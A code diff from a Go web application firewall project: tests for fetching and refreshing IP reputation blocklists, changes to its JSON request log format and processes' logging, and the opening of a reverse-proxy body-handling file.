+		wantListedBy(t, lists, "203.0.113.8", dropURL)
+	})
+}
+
+func TestListFetchedAgainOnceRefreshHasPassed(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		servers := &standIn{lists: map[string]string{dropURL: "203.0.113.9\n"}}
+		lists := start(t, servers, params(dropURL))
+		began := time.Now()
+
+		wantFetches(t, servers, 1)
+
+		servers.set(dropURL, "203.0.113.10\n")
+		time.Sleep(refresh - time.Nanosecond)
+		wantFetches(t, servers, 1)
+		wantListedBy(t, lists, "203.0.113.9", dropURL)
+
+		time.Sleep(time.Nanosecond)
+		wantFetches(t, servers, 2)
+		wantListedBy(t, lists, "203.0.113.9")
+		wantListedBy(t, lists, "203.0.113.10", dropURL)
+
+		if fetched := lists.Fetched(dropURL); !fetched.Equal(began.Add(refresh)) {
+			t.Errorf("the copy in use was fetched at %s, want %s", fetched,
+				began.Add(refresh))
+		}
+	})
+}
+
+func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		name string
+		// fail has the stand-in answer the fetches after the first so that
+		// they fail with error.
+		fail  func(servers *standIn)
+		error string
+	}{
+		{
+			"an answer other than 200",
+			func(servers *standIn) { servers.set(dropURL, "") },
+			"the server answered 503 Service Unavailable",
+		},
+		{
+			"a line that does not read",
+			func(servers *standIn) { servers.set(dropURL, "203.0.113.10\n<html>\n") },
+			"line 2 is not an address or a netblock, such as 192.0.2.0/24",
+		},
+		{
+			"a list longer than 16 MiB",
+			func(servers *standIn) {
+				servers.set(dropURL, strings.Repeat("#\n", 8<<20+1))
+			},
+			"the list is longer than 16 MiB",
+		},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			synctest.Test(t, func(t *testing.T) {
+				var log bytes.Buffer
+
+				servers := &standIn{lists: map[string]string{dropURL: drop}}
+				queue := newQueue()
+				p := params(dropURL)
+				p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
+				p.Alerts = queue
+				lists := start(t, servers, p)
+				kept := lists.Snapshot()
+
+				tc.fail(servers)
+
+				// Each failure is tried again once refresh has passed since it.
+				for range 2 {
+					time.Sleep(refresh)
+					synctest.Wait()
+				}
+
+				wantFetches(t, servers, 3)
+				wantListedBy(t, lists, "203.0.113.9", dropURL)
+
+				want := kept[0]
+				want.Tried = time.Now()
+
+				if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{want}) {
+					t.Errorf("lists %+v, want the first copy, last tried now, %+v", got, want)
+				}
+
+				if lists.Failures(dropURL) != 2 {
+					t.Errorf("%d failures, want 2", lists.Failures(dropURL))
+				}
+
+				// One alert for the first failure; the cooldown holds back the
+				// second.
+				wantAlert(t, queue, fetchFailure(time.Now().Add(-refresh), dropURL, tc.error))
+
+				if !strings.Contains(log.String(), `"msg":"fetching a list failed",`+
+					`"url":"`+dropURL+`","error":"`+tc.error) {
+					t.Errorf("logged\n%s\nwant the failures", log.String())
+				}
+			})
+		})
+	}
+}
+
+func TestFetchNotDoneWithinAMinuteFails(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		servers := &standIn{lists: map[string]string{}, hanging: true}
+		lists := start(t, servers, params(dropURL))
+
+		time.Sleep(time.Minute - time.Nanosecond)
+		synctest.Wait()
+
+		if lists.Failures(dropURL) != 0 {
+			t.Errorf("%d failures before a minute, want none", lists.Failures(dropURL))
+		}
+
+		time.Sleep(time.Nanosecond)
+		synctest.Wait()
+
+		if lists.Failures(dropURL) != 1 {
+			t.Errorf("%d failures after a minute, want 1", lists.Failures(dropURL))
+		}
+	})
+}
+
+func TestKeptCopyIsFetchedAgainOnceRefreshHasPassedSinceItWasFetched(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		servers := &standIn{lists: map[string]string{
+			dropURL: "203.0.113.10\n", torURL: "198.51.100.10\n",
+		}}
+		lists := reputation.New(params(dropURL, torURL))
+		lists.SetTransport(servers)
+
+		// drop.txt was fetched an hour ago, and tor.txt a refresh ago, as
+		// reputation.json says at start.
+		err := lists.Load([]reputation.List{
+			{URL: dropURL, Fetched: time.Now().Add(-time.Hour), Lines: []string{"203.0.113.9"}},
+			{URL: torURL, Fetched: time.Now().Add(-refresh), Lines: []string{"198.51.100.9"}},
+		})
+		if err != nil {
+			t.Fatalf("load: %v", err)
+		}
+
+		run(t, lists)
+
+		wantFetches(t, servers, 1)
+		wantListedBy(t, lists, "203.0.113.9", dropURL)
+		wantListedBy(t, lists, "198.51.100.10", torURL)
+
+		time.Sleep(refresh - time.Hour - time.Nanosecond)
+		wantFetches(t, servers, 1)
+
+		time.Sleep(time.Nanosecond)
+		wantFetches(t, servers, 2)
+		wantListedBy(t, lists, "203.0.113.10", dropURL)
+	})
+}
+
+func TestRestartWaitsRefreshAfterTheLastTryEvenOneThatFailed(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		// drop.txt is fetched, and a refresh later the fetch downloads it
+		// whole but fails on a line that does not read.
+		servers := &standIn{lists: map[string]string{dropURL: "198.51.100.1\n"}}
+		lists := start(t, servers, params(dropURL))
+
+		servers.set(dropURL, "198.51.100.2\n<html>\n")
+		time.Sleep(refresh)
+		wantFetches(t, servers, 2)
+
+		// Restarted with what reputation.json keeps, it waits a refresh
+		// after the failed try, as it does while it runs.
+		restarted := &standIn{lists: map[string]string{dropURL: "198.51.100.2\n"}}
+		again := reputation.New(params(dropURL))
+		again.SetTransport(restarted)
+
+		err := again.Load(lists.Snapshot())
+		if err != nil {
+			t.Fatalf("load: %v", err)
+		}
+
+		run(t, again)
+		wantFetches(t, restarted, 0)
+		wantListedBy(t, again, "198.51.100.1", dropURL)
+
+		time.Sleep(refresh - time.Nanosecond)
+		wantFetches(t, restarted, 0)
+
+		time.Sleep(time.Nanosecond)
+		wantFetches(t, restarted, 1)
+		wantListedBy(t, again, "198.51.100.2", dropURL)
+	})
+}
+
+func TestFetchCutOffAsItStopsIsNoFailureButARestartWaitsForIt(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		// Stopped 30 seconds into the fetch of drop.txt, before tor.txt's.
+		servers := &standIn{lists: map[string]string{}, hanging: true}
+		queue := newQueue()
+		p := params(dropURL, torURL)
+		p.Alerts = queue
+
+		lists := reputation.New(p)
+		lists.SetTransport(servers)
+
+		ctx, stop := context.WithCancel(t.Context())
+		stopped := make(chan struct{})
+
+		go func() {
+			lists.Run(ctx)
+			close(stopped)
+		}()
+
+		time.Sleep(30 * time.Second)
+		stop()
+		<-stopped
+
+		wantFetches(t, servers, 1)
+
+		if lists.Failures(dropURL) != 0 || len(waiting(queue)) != 0 {
+			t.Errorf("%d failures and alerts %+v, want none", lists.Failures(dropURL),
+				waiting(queue))
+		}
+
+		// Restarted an hour later with what reputation.json keeps, it fetches
+		// tor.txt, never tried, at once, and drop.txt a refresh after its
+		// cut-off try.
+		time.Sleep(time.Hour)
+
+		restarted := &standIn{lists: map[string]string{
+			dropURL: "203.0.113.7\n", torURL: "198.51.100.7\n",
+		}}
+		again := reputation.New(params(dropURL, torURL))
+		again.SetTransport(restarted)
+
+		err := again.Load(lists.Snapshot())
+		if err != nil {
+			t.Fatalf("load: %v", err)
+		}
+
+		run(t, again)
+		wantFetches(t, restarted, 1)
+		wantListedBy(t, again, "198.51.100.7", torURL)
+
+		time.Sleep(refresh - time.Hour - time.Nanosecond)
+		wantFetches(t, restarted, 1)
+
+		time.Sleep(time.Nanosecond)
+		wantFetches(t, restarted, 2)
+		wantListedBy(t, again, "203.0.113.7", dropURL)
+	})
+}
+
+func TestASNLimitPercentFileGivesEachASNumberItsLowestPercentage(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		servers := &standIn{lists: map[string]string{
+			asnURL: "# hosting networks\nAS14061:50 ; DigitalOcean\nas16276:25\n\n" +
+				"AS14061:10\nAS14061:30\n",
+		}}
+		p := params()
+		p.ASNLimitPercentURL = asnURL
+		lists := start(t, servers, p)
+
+		for asn, want := range map[string]int64{"AS14061": 10, "AS16276": 25} {
+			percent, listed := lists.ASNLimitPercent(asn)
+			if !listed || percent != want {
+				t.Errorf("%s has %d (listed %t), want %d", asn, percent, listed, want)
+			}
+		}
+
+		if _, listed := lists.ASNLimitPercent("AS64496"); listed {
+			t.Error("AS64496 is listed")
+		}
+
+		// A line that does not read fails the fetch.
+		servers.set(asnURL, "AS14061:50\nAS16276\n")
+		time.Sleep(refresh)
+		synctest.Wait()
+
+		if lists.Failures(asnURL) != 1 {
+			t.Errorf("%d failures, want 1", lists.Failures(asnURL))
+		}
+	})
+}
+
+func TestLoadDropsCopiesOfListsNotNamedAndRefusesOnesThatDoNotRead(t *testing.T) {
+	t.Parallel()
+
+	fetched := time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)
+	kept := reputation.List{
+		URL: dropURL, Tried: fetched, Fetched: fetched, Lines: []string{"203.0.113.9"},
+	}
+	lists := reputation.New(params(dropURL))
+
+	err := lists.Load([]reputation.List{kept, {
+		URL: torURL, Tried: fetched, Fetched: fetched, Lines: []string{"198.51.100.9"},
+	}})
+	if err != nil {
+		t.Fatalf("load: %v", err)
+	}
+
+	if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{kept}) {
+		t.Errorf("copies %+v, want only %+v", got, kept)
+	}
+
+	err = lists.Load([]reputation.List{{URL: dropURL, Fetched: fetched, Lines: []string{
+		"; DROP", "203.0.113.300",
+	}}})
+
+	const want = "the copy of " + dropURL +
+		": line 2 is not an address or a netblock, such as 192.0.2.0/24"
+	if err == nil || err.Error() != want {
+		t.Errorf("error %v, want %s", err, want)
+	}
+
+	if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{kept}) {
+		t.Errorf("copies %+v after the error, want %+v still", got, kept)
+	}
+}
+
+// standIn is a stand-in for the servers the lists are fetched from. It
+// notes the URL of each fetch.
+type standIn struct {
+	mu sync.Mutex
+	// lists are what it answers with, by URL; it answers a URL it has no
+	// list for with 503, and none at all while hanging.
+	lists   map[string]string
+	hanging bool
+	fetches []string
+}
+
+// RoundTrip has the stand-in answer req, in place of the network. A fetch
+// abandoned before the stand-in answers fails, as over the network.
+func (s *standIn) RoundTrip(req *http.Request) (*http.Response, error) {
+	s.mu.Lock()
+	s.fetches = append(s.fetches, req.URL.String())
+	list, found := s.lists[req.URL.String()]
+	hanging := s.hanging
+	s.mu.Unlock()
+
+	if hanging {
+		<-req.Context().Done()
+
+		return nil, req.Context().Err()
+	}
+
+	status := http.StatusOK
+	if !found {
+		status = http.StatusServiceUnavailable
+	}
+
+	return &http.Response{
+		StatusCode: status,
+		Status:     fmt.Sprintf("%d %s", status, http.StatusText(status)),
+		Header:     http.Header{},
+		Body:       io.NopCloser(strings.NewReader(list)),
+		Request:    req,
+	}, nil
+}
+
+// set has the stand-in answer listURL with list, or with 503 for "".
+func (s *standIn) set(listURL, list string) {
+	s.mu.Lock()
+	defer s.mu.Unlock()
+
+	if list == "" {
+		delete(s.lists, listURL)
+
+		return
+	}
+
+	s.lists[listURL] = list
+}
+
+// params returns the Params of the blocklists at urls, refreshed every
+// refresh, by the bubble's clock, with alerts to a queue that sends none.
+func params(urls ...string) reputation.Params {
+	return reputation.Params{
+		BlocklistURLs: urls,
+		Refresh:       refresh,
+		Now:           time.Now,
+		ProcessLog:    slog.New(slog.DiscardHandler),
+		Alerts:        newQueue(),
+	}
+}
+
+// newQueue returns a queue of alerts to a webhook that is never sent
+// them, with a cooldown of cooldown.
+func newQueue() *alerts.Queue {
+	return alerts.New(alerts.Params{
+		WebhookURL: &url.URL{Scheme: "https", Host: "alerts.example"},
+		Events:     alerts.Events(),
+		Cooldown:   cooldown,
+		Now:        time.Now,
+	})
+}
+
+// start returns the lists of p, fetched through servers by Run, which runs
+// until the test ends, once Run has fetched those due at start.
+func start(
+	t *testing.T, servers http.RoundTripper, p reputation.Params,
+) *reputation.Lists {
+	t.Helper()
+
+	lists := reputation.New(p)
+	lists.SetTransport(servers)
+	run(t, lists)
+
+	return lists
+}
+
+// run runs lists' Run until the test ends, and waits until it has fetched
+// the lists due.
+func run(t *testing.T, lists *reputation.Lists) {
+	t.Helper()
+
+	ctx, stop := context.WithCancel(t.Context())
+	stopped := make(chan struct{})
+
+	go func() {
+		lists.Run(ctx)
+		close(stopped)
+	}()
+
+	t.Cleanup(func() {
+		stop()
+		<-stopped
+	})
+
+	synctest.Wait()
+}
+
+// wantFetches waits until Run has made the fetches due, and checks how
+// many the servers have had.
+func wantFetches(t *testing.T, servers *standIn, want int) {
+	t.Helper()
+
+	synctest.Wait()
+
+	servers.mu.Lock()
+	got := len(servers.fetches)
+	servers.mu.Unlock()
+
+	if got != want {
+		t.Errorf("%d fetches, want %d", got, want)
+	}
+}
+
+// wantListedBy checks the URLs of the blocklists lists says list addr.
+func wantListedBy(t *testing.T, lists *reputation.Lists, addr string, want ...string) {
+	t.Helper()
+
+	got := lists.ListedBy(netip.MustParseAddr(addr))
+	if !slices.Equal(got, want) {
+		t.Errorf("%s is listed by %v, want %v", addr, got, want)
+	}
+}
+
+// waiting returns the alerts waiting in queue.
+func waiting(queue *alerts.Queue) []alerts.Alert {
+	return queue.Snapshot().Waiting[alerts.DestinationWebhook]
+}
+
+// fetchFailure is the source_failure alert raised at the time raised for
+// a fetch of the list at listURL that failed with err.
+func fetchFailure(raised time.Time, listURL, err string) alerts.Alert {
+	return alerts.Alert{
+		Time:   raised,
+		Event:  alerts.EventSourceFailure,
+		Reason: "fetching a list failed",
+		Detail: map[string]any{"source": listURL, "error": err},
+	}
+}
+
+// wantAlert checks that want is the one alert waiting in queue, and that
+// the cooldown has held back one repeat of it.
+func wantAlert(t *testing.T, queue *alerts.Queue, want alerts.Alert) {
+	t.Helper()
+
+	got := waiting(queue)
+	if len(got) != 1 || !reflect.DeepEqual(got[0], want) || queue.Suppressed() != 1 {
+		t.Errorf("alerts waiting %+v, %d held back, want only %+v and 1", got,
+			queue.Suppressed(), want)
+	}
+}

internal/requestlog/requestlog.go

@@ -1,6 +1,7 @@
 // Package requestlog writes the lines smallwebwaf prints on stdout: one
-// JSON object per request, marked "type":"request", and the process's own
-// messages as JSON lines marked "type":"process".
+// JSON object per request, two from servewaf and a short one from rproxy, marked
+// "type":"request", and the process's own messages as JSON lines marked
+// "type":"process".
 package requestlog
 
 import (
@@ -13,55 +14,96 @@ import (
 	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
 )
 
-// The action a request line names: what smallwebwaf did with the
-// request.
+// The action a request line names: what servewaf did with the request.
 const (
-	// ActionForward is a request passed to the app.
+	// ActionForward is a request servewaf allowed, which rproxy passes to the
+	// app.
 	ActionForward = "forward"
-	// ActionTooLarge is a request or response over its size limit.
+
+	//FIXME: "too_large" doesn't tell a reader what that means.
+	//request_header_too_large does.  you must not use ambiguous terms.
+
+	// ActionTooLarge is a request over the header limits.
 	ActionTooLarge = "too_large"
-	// ActionTimedOut is a request or response that ran out of time.
-	ActionTimedOut = "timed_out"
-	// ActionUpstreamError is a request the app could not be reached
-	// for, or whose answer could not be passed on.
-	ActionUpstreamError = "upstream_error"
+
 	// ActionRateLimited is a request refused because it took its client
 	// over a rate limit, which bans the client.
+
+	//FIXME: better would be "client_is_rate_limited"
 	ActionRateLimited = "rate_limited"
+
 	// ActionBanned is a request refused because a ban covers its client,
-	// or because it matched a ban rule, which bans the client.
+	// or because it matched a ban rule, asked for a trap path or the
+	// CrowdSec decision list lists its client, each of which bans the
+	// client.
+
+	// FIXME: if I saw this, i would assume they are permanently banned.  is that
+	// true?  if not, there should be TemporarilyBanned and
+	// PermanentlyBanned
 	ActionBanned = "banned"
+
 	// ActionRuleBlocked is a request refused because it matched a block
 	// rule.
+
+	// FIXME: "blocked_by_block_rule"
 	ActionRuleBlocked = "rule_blocked"
+
+	// ActionWAFBlocked is a request refused because the Core Rule Set
+	// scored it at or over SWWAF_WAF_ANOMALY_THRESHOLD.
+	ActionWAFBlocked = "waf_blocked"
+
 	// ActionDenied is a request refused because its client is in
-	// SWWAF_DENY_NETS.
+	// SWWAF_DENY_NETS, in a blocklist while SWWAF_BLOCKLIST_ACTION is deny,
+	// or listed by a DNSBL zone, or scored a hit by AbuseIPDB, while
+	// SWWAF_REPUTATION_ACTION is deny.
 	ActionDenied = "denied"
+
 	// ActionCountryDenied is a request refused for its client's country.
 	ActionCountryDenied = "country_denied"
-	// ActionAdmin is a request smallwebwaf answered at one of its own
-	// endpoints, under /_smallwebwaf/.
+
+	// FIXME: you have country_denied and denied.  why isn't it
+	// client_denied?  ALWAYS BE CONSISTENT AND UNAMBIGUOUS
+
+	// ActionAdmin is a request servewaf answered at one of its own endpoints,
+	// or a question about a path under /_smallwebwaf/.
 	ActionAdmin = "admin"
 )
 
 // OffenceLimit is the offence a request line names for a request that
-// broke a rate limit.
+// broke a rate limit or the error burst, or whose bytes broke a byte
+// limit.
 const OffenceLimit = "limit"
 
+// LimitHitErrorBurst is the limit_hit a request line names for a request
+// that broke the error burst.
+const LimitHitErrorBurst = "error_burst"
+
+// The servewaf_line a request line names, which says which of servewaf's two
+// lines about a question it is.
+const (
+	// ServeWAFLineDecision is servewaf's line at its decision.
+	ServeWAFLineDecision = "decision"
+	// ServeWAFLineReport is servewaf's line when rproxy's report comes, with
+	// the decision's fields and the report's together.
+	ServeWAFLineReport = "report"
+)
+
 // timeLayout is RFC 3339 with milliseconds.
 const timeLayout = "2006-01-02T15:04:05.000Z07:00"
 
 // Line is one request's line in the request log. The field names, and
-// their order, are those of the "Request log" section of SPEC.md. A field
-// that may not apply to a request is left out of its line when it does
-// not.
+// their order, are those of docs/request-log.md. A field that may not
+// apply to a request is left out of its line when it does not.
 //
-//nolint:tagliatelle // SPEC.md's request log names its fields in snake_case
+//nolint:tagliatelle // docs/request-log.md names the fields in snake_case
 type Line struct {
 	Type string `json:"type"`
+	// ServeWAFLine is ServeWAFLineDecision or ServeWAFLineReport on servewaf's
+	// two lines about a question.
+	ServeWAFLine string `json:"servewaf_line,omitempty"`
 
-	// The standard web log fields. Scheme is how the client reached
-	// smallwebwaf, or the trusted proxy in front of it.
+	// The standard web log fields. Scheme is how the client reached rproxy, or
+	// the trusted proxy in front of it.
 	Time          string `json:"time"`
 	Instance      string `json:"instance"`
 	ClientIP      string `json:"client_ip"`
@@ -77,14 +119,17 @@ type Line struct {
 	Referer       string `json:"referer"`
 	UserAgent     string `json:"user_agent"`
 
-	// Request detail. RequestID is the X-Request-ID a trusted proxy sent,
-	// or a new one, and is sent on to the app. ForwardedFor is the
+	// Request detail. RequestID is the id rproxy made for the request, or for a
+	// request to servewaf's own endpoints a new one. ForwardedFor is the
 	// X-Forwarded-For header as received. ClientGroup is the netblock the
-	// client is counted as.
+	// client is counted as. ASN, ASName and Country are the client's AS
+	// number, AS name and country, as looked up.
 	RequestID    string `json:"request_id"`
 	PeerIP       string `json:"peer_ip"`
 	ForwardedFor string `json:"forwarded_for,omitempty"`
 	ClientGroup  string `json:"client_group"`
+	ASN          string `json:"asn"`
+	ASName       string `json:"as_name"`
 	Country      string `json:"country"`
 	ContentType  string `json:"content_type,omitempty"`
 	// ContentLength is the length of its body the request announced.
@@ -94,34 +139,51 @@ type Line struct {
 	RequestHeaders   map[string]string `json:"request_headers,omitempty"`
 	HasAuthorization bool              `json:"has_authorization,omitempty"`
 	HasCookie        bool              `json:"has_cookie,omitempty"`
-	// Websocket is true when the connection was upgraded, as for a
-	// WebSocket.
-	Websocket bool `json:"websocket,omitempty"`
 
-	// Response detail, from the headers of the answer: the app's, as
-	// passed on, or those of smallwebwaf's own. Aborted is true when the
-	// client went away early.
+	// Response detail, of servewaf's own answer. Aborted is true when rproxy, or
+	// the admin's tool, went away before the answer.
 	ResponseContentType string `json:"response_content_type,omitempty"`
-	UpstreamStatus      int    `json:"upstream_status,omitempty"`
-	CacheControl        string `json:"cache_control,omitempty"`
-	Location            string `json:"location,omitempty"`
 	Aborted             bool   `json:"aborted,omitempty"`
 
 	// The decision.
 	Action string `json:"action"`
 	// WouldAction is, in observe mode, the action enforce mode would have
 	// taken with a request it would have refused: ActionDenied,
-	// ActionBanned, ActionCountryDenied, ActionRateLimited or
-	// ActionRuleBlocked.
+	// ActionBanned, ActionCountryDenied, ActionRateLimited,
+	// ActionRuleBlocked, ActionWAFBlocked, or, in servewaf, ActionTooLarge
+	// for the header limits.
 	WouldAction string `json:"would_action,omitempty"`
-	// Counts are the client's requests as the rate limits counted them
-	// with this one, for a request they counted.
+	// LimitPercent and LimitPercentSetting are, for a request the rate
+	// limits counted whose client a biased threshold gives a percentage of
+	// the rate limits below 100, that percentage and the setting that gave
+	// it. BytesPercent and BytesPercentSetting are the same for the byte
+	// limits.
+	LimitPercent        *int64 `json:"limit_percent,omitempty"`
+	LimitPercentSetting string `json:"limit_percent_setting,omitempty"`
+	BytesPercent        *int64 `json:"bytes_percent,omitempty"`
+	BytesPercentSetting string `json:"bytes_percent_setting,omitempty"`
+	// Counts are, for a request the rate limits counted, the client's
+	// requests as they counted them with this one, and its bytes as the
+	// byte limits counted them, with this request's once it has ended if
+	// they count them.
 	Counts ratelimit.Counts `json:"counts,omitzero"`
 	// RuleIDs are the ids of the rule file rules the request matched.
 	RuleIDs []string `json:"rule_ids,omitempty"`
-	// LimitHit is the window whose rate limit the request went over:
-	// minute, hour or day.
+	// WAFRuleIDs are the ids of the Core Rule Set's rules the request
+	// matched, and WAFScore its anomaly score, nil for a request the Core
+	// Rule Set did not inspect.
+	WAFRuleIDs []int `json:"waf_rule_ids,omitempty"`
+	WAFScore   *int  `json:"waf_score,omitempty"`
+	// LimitHit is the window whose limit the request went over, named as
+	// Counts names its count: minute, hour or day for a rate limit, and
+	// minute_bytes, hour_bytes or day_bytes for a byte limit; or
+	// LimitHitErrorBurst for the error burst.
 	LimitHit string `json:"limit_hit,omitempty"`
+	// Reputation are the URLs of the blocklists that list the client, then
+	// that of the CrowdSec decision list when it does, then the DNSBL zones
+	// whose verdict lists it, their keys masked, then abuseipdb when its
+	// score is a hit.
+	Reputation []string `json:"reputation,omitempty"`
 	// Offence is the offence the request was held as, OffenceLimit.
 	Offence string `json:"offence,omitempty"`
 	// BanExpires is when the ban the request made, or was refused under,
@@ -129,22 +191,61 @@ type Line struct {
 	BanExpires string `json:"ban_expires,omitempty"`
 
 	// The timings, in milliseconds. DurationChecks is the time until the
-	// checks were done. DurationUpstreamConnect, DurationUpstreamFirstByte
-	// and DurationUpstreamTotal run from when the request was handed to the
-	// app: until there was a connection to it, until the first byte of its
-	// answer arrived, and until the end. Each but DurationTotal is nil for
-	// a request that did not get that far.
+	// checks were done, and DurationWAF the part of it the Core Rule Set
+	// took. DurationUpstreamTotal is what the report of an allowed request gives,
+	// from the hand-over to the app until the end of its answer. Each but
+	// DurationTotal is nil for a request that did not get that far.
 	DurationTotal         float64  `json:"duration_total"`
 	DurationChecks        *float64 `json:"duration_checks,omitempty"`
-	DurationUpstreamConnect   *float64 `json:"duration_upstream_connect,omitempty"`
-	DurationUpstreamFirstByte *float64 `json:"duration_upstream_first_byte,omitempty"`
+	DurationWAF           *float64 `json:"duration_waf,omitempty"`
 	DurationUpstreamTotal *float64 `json:"duration_upstream_total,omitempty"`
 }
 
+// RProxyLine is rproxy's short line in the request log about one request. The
+// field names, and their order, are those of docs/request-log.md. A field that
+// does not apply to a request is left out of its line.
+//
+//nolint:tagliatelle // docs/request-log.md names the fields in snake_case
+type RProxyLine struct {
+	Type          string `json:"type"`
+	Time          string `json:"time"`
+	RequestID     string `json:"request_id"`
+	ClientIP      string `json:"client_ip"`
+	Host          string `json:"host"`
+	Method        string `json:"method"`
+	Path          string `json:"path"`
+	Query         string `json:"query"`
+	Status        int    `json:"status"`
+	RequestBytes  int64  `json:"request_bytes"`
+	ResponseBytes int64  `json:"response_bytes"`
+	// DurationRequest runs in milliseconds from the request's headers being read
+	// until the app has been sent the whole request, or the answer has started
+	// if that is sooner. DurationResponse runs from then until the answer ends.
+	DurationRequest  float64 `json:"duration_request"`
+	DurationResponse float64 `json:"duration_response"`
+	// Disposition is the valid disposition servewaf answered or, while
+	// DefaultDisposition is true, the value of SWRP_DEFAULT_DISPOSITION. It is ""
+	// when neither gave one.
+	Disposition        string `json:"disposition,omitempty"`
+	DefaultDisposition bool   `json:"default_disposition,omitempty"`
+}
+
 // Write writes line to w as one JSON line marked "type":"request".
 func Write(w io.Writer, line *Line) error {
 	line.Type = "request"
 
+	return writeJSONLine(w, line)
+}
+
+// WriteRProxyLine writes line to w as one JSON line marked "type":"request".
+func WriteRProxyLine(w io.Writer, line *RProxyLine) error {
+	line.Type = "request"
+
+	return writeJSONLine(w, line)
+}
+
+// writeJSONLine writes line to w as one JSON line.
+func writeJSONLine(w io.Writer, line any) error {
 	encoded, err := json.Marshal(line)
 	if err != nil {
 		return fmt.Errorf("encode the request log line: %w", err)
@@ -166,22 +267,37 @@ func FormatTime(t time.Time) string {
 
 // Milliseconds is d in milliseconds, to the microsecond.
 func Milliseconds(d time.Duration) float64 {
-	return float64(d.Microseconds()) / float64(time.Millisecond/time.Microsecond)
+	return float64(
+		d.Microseconds(),
+	) / float64(
+		time.Millisecond/time.Microsecond,
+	)
 }
 
 // NewProcessLogger returns the logger for the process's own messages:
 // JSON lines on w, marked "type":"process", with the time in the same form
-// as a request line's.
-func NewProcessLogger(w io.Writer) *slog.Logger {
+// as a request line's, and instanceName, SWWAF_INSTANCE_NAME, as instance.
+// It writes only the messages at level, SWWAF_LOG_LEVEL, or more severe;
+// the request lines Write writes are never held back.
+func NewProcessLogger(
+	w io.Writer,
+	instanceName string,
+	level slog.Level,
+) *slog.Logger {
 	handler := slog.NewJSONHandler(w, &slog.HandlerOptions{
+		Level: level,
 		ReplaceAttr: func(groups []string, attr slog.Attr) slog.Attr {
 			if attr.Key == slog.TimeKey && len(groups) == 0 {
-				return slog.String(slog.TimeKey, FormatTime(attr.Value.Time()))
+				return slog.String(
+					slog.TimeKey,
+					FormatTime(attr.Value.Time()),
+				)
 			}
 
 			return attr
 		},
 	})
 
-	return slog.New(handler).With("type", "process")
+	return slog.New(handler).
+		With("type", "process", "instance", instanceName)
 }

internal/requestlog/requestlog_test.go

@@ -3,6 +3,8 @@ package requestlog_test
 import (
 	"bytes"
 	"encoding/json"
+	"log/slog"
+	"slices"
 	"strings"
 	"testing"
 	"time"
@@ -65,12 +67,35 @@ func TestWriteWritesOneJSONLineMarkedRequest(t *testing.T) {
 	}
 }
 
-func TestProcessLinesAreMarkedProcess(t *testing.T) {
+func TestWriteRProxyLineWritesOneJSONLineWithOnlyItsFields(t *testing.T) {
 	t.Parallel()
 
 	var out bytes.Buffer
 
-	requestlog.NewProcessLogger(&out).Info("starting", "version", "v1")
+	err := requestlog.WriteRProxyLine(&out, &requestlog.RProxyLine{
+		RequestID:   "an-id",
+		Disposition: "allow",
+	})
+	if err != nil {
+		t.Fatalf("write: %v", err)
+	}
+
+	const want = `{"type":"request","time":"","request_id":"an-id","client_ip":"",` +
+		`"host":"","method":"","path":"","query":"","status":0,"request_bytes":0,` +
+		`"response_bytes":0,"duration_request":0,"duration_response":0,` +
+		`"disposition":"allow"}` + "\n"
+	if out.String() != want {
+		t.Errorf("wrote %s, want %s", out.String(), want)
+	}
+}
+
+func TestProcessLinesAreMarkedProcessAndGiveTheInstance(t *testing.T) {
+	t.Parallel()
+
+	var out bytes.Buffer
+
+	requestlog.NewProcessLogger(&out, "fsn1app1/gitea", slog.LevelInfo).Info("starting",
+		"version", "v1")
 
 	var fields map[string]any
 
@@ -79,8 +104,9 @@ func TestProcessLinesAreMarkedProcess(t *testing.T) {
 		t.Fatalf("decode %q: %v", out.String(), err)
 	}
 
-	if fields["type"] != "process" || fields["msg"] != "starting" ||
-		fields["level"] != "INFO" || fields["version"] != "v1" {
+	if fields["type"] != "process" || fields["instance"] != "fsn1app1/gitea" ||
+		fields["msg"] != "starting" || fields["level"] != "INFO" ||
+		fields["version"] != "v1" {
 		t.Errorf("process line %v", fields)
 	}
 
@@ -93,3 +119,47 @@ func TestProcessLinesAreMarkedProcess(t *testing.T) {
 		t.Errorf("process line time %q, want now in UTC with milliseconds", timeText)
 	}
 }
+
+func TestProcessLoggerWritesTheMessagesAtItsLevelOrMoreSevere(t *testing.T) {
+	t.Parallel()
+
+	levels := []slog.Level{
+		slog.LevelDebug, slog.LevelInfo, slog.LevelWarn, slog.LevelError,
+	}
+
+	for i, level := range levels {
+		t.Run(level.String(), func(t *testing.T) {
+			t.Parallel()
+
+			var out bytes.Buffer
+
+			processLog := requestlog.NewProcessLogger(&out, "fsn1app1/gitea", level)
+			for _, at := range levels {
+				processLog.Log(t.Context(), at, "message")
+			}
+
+			var got, want []string
+
+			for line := range strings.Lines(out.String()) {
+				var fields struct {
+					Level string `json:"level"`
+				}
+
+				err := json.Unmarshal([]byte(line), &fields)
+				if err != nil {
+					t.Fatalf("decode %q: %v", line, err)
+				}
+
+				got = append(got, fields.Level)
+			}
+
+			for _, written := range levels[i:] {
+				want = append(want, written.String())
+			}
+
+			if !slices.Equal(got, want) {
+				t.Errorf("lines at %v, want %v", got, want)
+			}
+		})
+	}
+}

internal/rproxy/bodies.go

@@ -0,0 +1,211 @@
+package rproxy
+
+import (
+	"bufio"
+	"errors"
+	"io"
+	"net"
+	"net/http"
+	"sync/atomic"
+)
+
+// errResponseTooLarge ends an app's response body that is longer than
+// SWRP_MAX_RESPONSE_SIZE.
+var errResponseTooLarge = errors.New(
+	"the response body is over SWRP_MAX_RESPONSE_SIZE")
+
+// requestBody is the visitor's request body. rproxy first reads up to the first
